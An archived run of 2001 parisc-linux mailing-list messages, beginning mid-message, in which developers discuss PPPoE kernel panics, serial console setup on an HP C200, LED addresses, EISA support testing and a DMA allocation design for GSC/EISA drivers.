<DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have a HP 712/100, I will install my =
HP station=20
on Adsl gateway. For this, i need make a pptp or pppoe =
connexion.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>When, the debian install kernel =
2.4.0-32, when i=20
start pppoe or pptp connexion, the pppd is launch and just after all =
system is=20
block. With the last kernel version (2.4.9-pa45) downloaded on =
paris-linux site.=20
When, i start pptp connexion, he has a kernel panic.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have check the mailing-list archive. =
And i=20
haven't found a begin of solution.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Maybe, do you have see this problem =
under the past=20
?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks St=E9phane =
DUTOT.</FONT></DIV></BODY></HTML>

------=_NextPart_000_01A2_01C1566F.8CEC2790--





From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: paul lee <wbm111us@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help - Serial console problem
Date: Tue, 16 Oct 2001 10:47:19 -0700 (PDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20011016174719.66829.qmail@web14803.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620631 28040 80.91.229.3 (22 Nov 2014 01:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 11:47:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web14803.mail.yahoo.com (web14803.mail.yahoo.com [216.136.224.219])
	by dsl2.external.hp.com (Postfix) with SMTP id 8E214482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 11:47:24 -0600 (MDT)
Original-Received: from [192.215.204.57] by web14803.mail.yahoo.com via HTTP; Tue, 16 Oct 2001 10:47:19 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:12664

Hello,

I could not access a C200 workstation via serial
console. Could someone please give me some insight?
I use hyperterminal on Win 2000. The settings are
VT100, 9600, 8-N-1 and Xon/Xoff.

Thanks a lot.

__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help - Serial console problem
Date: Tue, 16 Oct 2001 10:52:41 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20011016105241.A4123@tausq.org>
References: <20011016174719.66829.qmail@web14803.mail.yahoo.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620631 28043 80.91.229.3 (22 Nov 2014 01:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: paul lee <wbm111us@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 11:52:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54BF9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 11:52:49 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id fhyciaaa for parisc-linux@lists.parisc-linux.org; Tue, 16 Oct 2001 10:48:05 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15tYOP-0001AA-00; Tue, 16 Oct 2001 10:52:41 -0700
Content-Disposition: inline
In-Reply-To: <20011016174719.66829.qmail@web14803.mail.yahoo.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12665

> I could not access a C200 workstation via serial
> console. Could someone please give me some insight?
> I use hyperterminal on Win 2000. The settings are
> VT100, 9600, 8-N-1 and Xon/Xoff.

try turning off flow control.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PPTP and PPPOE under Debian HPPA Linux.
Date: Tue, 16 Oct 2001 11:50:19 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <200110161750.LAA15169@puffin.external.hp.com>
References: <stephane.dutot@exlicite.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620632 28045 80.91.229.3 (22 Nov 2014 01:43:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?DUTOT_St=E9phane?= <stephane.dutot@exlicite.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 11:53:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFA8C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 11:53:41 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA15169;
	Tue, 16 Oct 2001 11:50:19 -0600
In-Reply-To: Message from =?iso-8859-1?Q?DUTOT_St=E9phane?= <stephane.dutot@exlicite.net> 
   of "Tue, 16 Oct 2001 18:22:44 +0200." <01a501c1565e$c9ce4e60$9601a8c0@utopia> 
Xref: news.gmane.org gmane.linux.ports.parisc:12666

=?iso-8859-1?Q?DUTOT_St=E9phane?= wrote:
> When, the debian install kernel 2.4.0-32, when i start pppoe or pptp =
> connexion, the pppd is launch and just after all system is block. With =
> the last kernel version (2.4.9-pa45) downloaded on paris-linux site. =
> When, i start pptp connexion, he has a kernel panic.

I was using ppp in the past to connect via a c3k and filed
the following bug:
	http://bugs.parisc-linux.org/db/13/132.html

I haven't tried again recently.

grant




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help - Serial console problem
Date: Tue, 16 Oct 2001 12:40:22 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <200110161840.MAA15315@puffin.external.hp.com>
References: <wbm111us@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620632 28047 80.91.229.3 (22 Nov 2014 01:43:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: paul lee <wbm111us@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 12:43:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B430482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 12:43:43 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA15315;
	Tue, 16 Oct 2001 12:40:22 -0600
In-Reply-To: Message from paul lee <wbm111us@yahoo.com> 
   of "Tue, 16 Oct 2001 10:47:19 PDT." <20011016174719.66829.qmail@web14803.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12667

paul lee wrote:
> I could not access a C200 workstation via serial
> console. Could someone please give me some insight?
> I use hyperterminal on Win 2000. The settings are
> VT100, 9600, 8-N-1 and Xon/Xoff.

The settings are correct.
It's possible the serial cable isn't wired correctly
or the C200 isn't trying to use serial port1.

grant




From - Thu Nov 08 21:19:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randall Craig <randall@tdl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help - Serial console problem
Date: Tue, 16 Oct 2001 11:49:54 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20011016114954.A12041@tdl.com>
References: <wbm111us@yahoo.com> <200110161840.MAA15315@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620632 28049 80.91.229.3 (22 Nov 2014 01:43:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:52 +0000 (UTC)
Cc: paul lee <wbm111us@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 12:49:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tdl.com (tdl.com [206.180.224.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0612B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 12:49:59 -0600 (MDT)
Original-Received: (from randall@localhost)
	by tdl.com (8.9.3/8.9.3) id LAA14840;
	Tue, 16 Oct 2001 11:49:54 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110161840.MAA15315@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Tue, Oct 16, 2001 at 12:40:22PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12668

* Grant Grundler (grundler@puffin.external.hp.com) [011016 11:44]:
> paul lee wrote:
> > I could not access a C200 workstation via serial
> > console. Could someone please give me some insight?
> > I use hyperterminal on Win 2000. The settings are
> > VT100, 9600, 8-N-1 and Xon/Xoff.
> 
> The settings are correct.
> It's possible the serial cable isn't wired correctly
> or the C200 isn't trying to use serial port1.
> 

make sure that on the c200 that you set you console as serial.

ie, issue this command on the firmware command line:

	path con serial_1

which will change the console graphics to be displayed on you 1st
serial port (the top one).




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LED device moves around on B160L
Date: Tue, 16 Oct 2001 19:51:38 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20011016195138.F15532@parcelfarce.linux.theplanet.co.uk>
References: <20011015174630.A3315@cargoclaimsdirect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620632 28050 80.91.229.3 (22 Nov 2014 01:43:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Scott Ashcroft <scott.ashcroft@talk21.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 12:51:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9A49482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 12:51:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15tZJS-0006nT-00; Tue, 16 Oct 2001 19:51:38 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011015174630.A3315@cargoclaimsdirect.com>; from scott.ashcroft@talk21.com on Mon, Oct 15, 2001 at 05:46:30PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12669

On Mon, Oct 15, 2001 at 05:46:30PM +0100, Scott Ashcroft wrote:
> Something weird is going on with the address of the LED device on my
> B160L.
[...]
> I think ffd0c000 is the correct address looks like it broke between pa45
> and pa52.

Looks like this change was intentional.  Here's what's happening:

led_init calls pdc_chassis_info to find the address of the LCD display.
This then calls register_led_driver, passing it that address that you
have above.  Then the lasi driver calls register_led_driver again, but
it's already been initialised, so it returns silently.  This all seems
correct to me.

If PDC is telling us this address, then it ought to be correct... right?
I don't know anything about the LED/LCD stuff yet, so I hope someone
who does can explain why this is correct.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Tue, 16 Oct 2001 11:17:59 -0800 (AKDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110161110310.20693-100000@goliath.alaskatech.org>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620633 28052 80.91.229.3 (22 Nov 2014 01:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:53 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 13:27:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE112482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 13:27:03 -0600 (MDT)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GLBCP200.UMK for
          <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 11:27:02 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GLBCP202.Z38 for <parisc-linux@parisc-linux.org>; Tue, 16 Oct
          2001 11:27:02 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA20938
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 11:17:59 -0800
In-Reply-To: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12670

On Wed, 10 Oct 2001, Matthew Wilcox wrote:
> Anyone want to review a patch that makes EISA work?  I've only
> tested it on a 715/75 with a Mongoose chip; but Wax is
> supposed to be programmatically identical.  The patch is
> 18k, so rather than post it to the list, it's available from
> ftp://puffin.external.hp.com/pub/parisc/src/eisa.diff

I've updated my 715/100 to -pa57, which gives me startup messages that the
Mirage Was EISA BA is recognized. I plugged in a 3Com 3c597 NIC as a test
card; what I get from the PDC is that an unconfigured EISA card is in and
it'll ignore it, then on boot the NIC is seen as eth0. Unfortunately, when
DHCP tries to pull an address, I get errors that command 0x5800 and 0x2804
didn't complete (twice as a pair), plus a 0x3002 didn't complete when the
DHCP request is sent. Never does pull an IP, but does show as up and
active on eth0. Tonight I'm going to try plugging a static IP into it and
see what happens...

If someone working this wants some dmesg output or anything feel free to
holler...





From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Tue, 16 Oct 2001 21:46:01 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110162142230.13084-100000@alpha.bocc.de>
References: <Pine.LNX.4.33.0110161110310.20693-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620633 28055 80.91.229.3 (22 Nov 2014 01:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:53 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 13:48:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFB2A482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 13:48:53 -0600 (MDT)
Original-Received: from ppp19.scram.de (ppp19.scram.de [195.226.127.212])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f9GJlkC20707;
	Tue, 16 Oct 2001 21:47:47 +0200 (CEST)
X-X-Sender: <jochen@alpha.bocc.de>
In-Reply-To: <Pine.LNX.4.33.0110161110310.20693-100000@goliath.alaskatech.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12671

Hi Tom,

> I've updated my 715/100 to -pa57, which gives me startup messages that the
> Mirage Was EISA BA is recognized.

Similar for 720. Here i got the message:

Mongoose EISA Adapter found at 0xfc000000

An IBM Auto 16/4 Token Ring card is recognized, but doesn't work (instead, 
i randomly get a stack dump during the module load).

Another comment:

parisc_ksyms.c is missing the exports for memcpy_toio and memcpy_fromio.

Cheers,
Jochen






From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Tue, 16 Oct 2001 21:00:54 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20011016210054.H15532@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0110161110310.20693-100000@goliath.alaskatech.org> <Pine.LNX.4.33.0110162142230.13084-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620633 28062 80.91.229.3 (22 Nov 2014 01:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:53 +0000 (UTC)
Cc: Tom <palinux@alaskatech.org>,
	PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 14:00:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7F7B482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 14:00:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15taOU-0007li-00; Tue, 16 Oct 2001 21:00:54 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0110162142230.13084-100000@alpha.bocc.de>; from jochen@scram.de on Tue, Oct 16, 2001 at 09:46:01PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12672

On Tue, Oct 16, 2001 at 09:46:01PM +0200, Jochen Friedrich wrote:
> An IBM Auto 16/4 Token Ring card is recognized, but doesn't work (instead, 
> i randomly get a stack dump during the module load).

Hmm.. could you try with the driver built in?  People have been reporting
that modules aren't working any more.

> parisc_ksyms.c is missing the exports for memcpy_toio and memcpy_fromio.

OK, that's easily fixed.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Ashcroft <scott.ashcroft@talk21.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LED device moves around on B160L
Date: Tue, 16 Oct 2001 21:15:55 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20011016211555.A3948@cargoclaimsdirect.com>
References: <20011015174630.A3315@cargoclaimsdirect.com> <20011016195138.F15532@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620634 28069 80.91.229.3 (22 Nov 2014 01:43:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 14:21:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ccd.cargoclaimsdirect.com (unknown [62.6.162.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACB47482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 14:21:28 -0600 (MDT)
Original-Received: from ashcroft by ccd.cargoclaimsdirect.com with local (Exim 3.32 #1 (Debian))
	id 15tad4-00011r-00; Tue, 16 Oct 2001 21:15:58 +0100
Content-Disposition: inline
In-Reply-To: <20011016195138.F15532@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12673

On Tue, Oct 16, 2001 at 07:51:38PM +0100, Matthew Wilcox wrote:
> On Mon, Oct 15, 2001 at 05:46:30PM +0100, Scott Ashcroft wrote:
> > Something weird is going on with the address of the LED device on my
> > B160L.
> [...]
> > I think ffd0c000 is the correct address looks like it broke between pa45
> > and pa52.
> 
> Looks like this change was intentional.  Here's what's happening:
> 
> led_init calls pdc_chassis_info to find the address of the LCD display.
> This then calls register_led_driver, passing it that address that you
> have above.  Then the lasi driver calls register_led_driver again, but
> it's already been initialised, so it returns silently.  This all seems
> correct to me.
> 
> If PDC is telling us this address, then it ought to be correct... right?
> I don't know anything about the LED/LCD stuff yet, so I hope someone
> who does can explain why this is correct.

The correct address seems to be f0190001. I've verified this by checking
that the LEDs work when that address gets detected.
The lasi driver tries to register ffd0c000 but as you say it gets ignored.
Don't know why the PDC returns f0190000 every so often.

Thanks for looking,
Scott




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GSC & EISA devices and pci_alloc_consistent
Date: Tue, 16 Oct 2001 21:32:34 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20011016213234.I15532@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620634 28072 80.91.229.3 (22 Nov 2014 01:43:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:54 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 14:32:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A478482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 14:32:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15tat8-0008KA-00
	for parisc-linux@parisc-linux.org; Tue, 16 Oct 2001 21:32:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12674

Looking at the 3c59x driver, it attempts to allocate host memory that
the card can access by DMA with:

        vp->rx_ring = pci_alloc_consistent(pdev, sizeof(struct boom_rx_desc) * RX_RING_SIZE
                                           + sizeof(struct boom_tx_desc) * TX_RING_SIZE,
                                           &vp->rx_ring_dma);

For EISA devices, pdev is NULL.  So pci_alloc_consistent (on EISA-capable
boxes; Astro-based boxes can ignore all this) can check for pdev being
NULL and set up the I/O Map so that the EISA bus can access this chunk
of ram.

But there's a problem.  Currently our specific drivers (lasi_82596, sim700,
et al) call pci_alloc_consistent with a NULL pci_dev.  And that causes a
different problem.  On machines with ccio (C, J, D, K, R) we need to know
which IOC the device is under (currently we assume the first... which is why
some machines HPMC early on).

I think the solution to this is to create a fake struct pci_dev that our
drivers hand to pci_alloc_consistent.  Then we have:

PCXL, L2:
	if (pci_dev == NULL) return wax_alloc_consistent();
	else kmalloc()

ccio:
	if (pci_dev == NULL) return wax_alloc_consistent();
	ioc = find_ioc(pci_dev);
	...

astro/elroy systems remain unchanged.

The only question is how/where to obtain this pci_dev, and how to give
it to the drivers which need it.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GSC & EISA devices and pci_alloc_consistent
Date: Tue, 16 Oct 2001 15:00:19 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <200110162100.PAA15770@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620634 28075 80.91.229.3 (22 Nov 2014 01:43:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 15:04:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 929F9482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 15:04:12 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA15770;
	Tue, 16 Oct 2001 15:00:19 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Tue, 16 Oct 2001 21:32:34 BST." <20011016213234.I15532@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12675

Matthew Wilcox wrote:
> I think the solution to this is to create a fake struct pci_dev that our
> drivers hand to pci_alloc_consistent.

In order to use one interface, perhaps dma_ops should be a field
in struct pci_hba_data.
We could then
#define pci_alloc_consistent(p, s, a)	\
	(p->sys_data->dma_ops->alloc_consistent)(p, s, a)

(with a bit of casting magic in there)

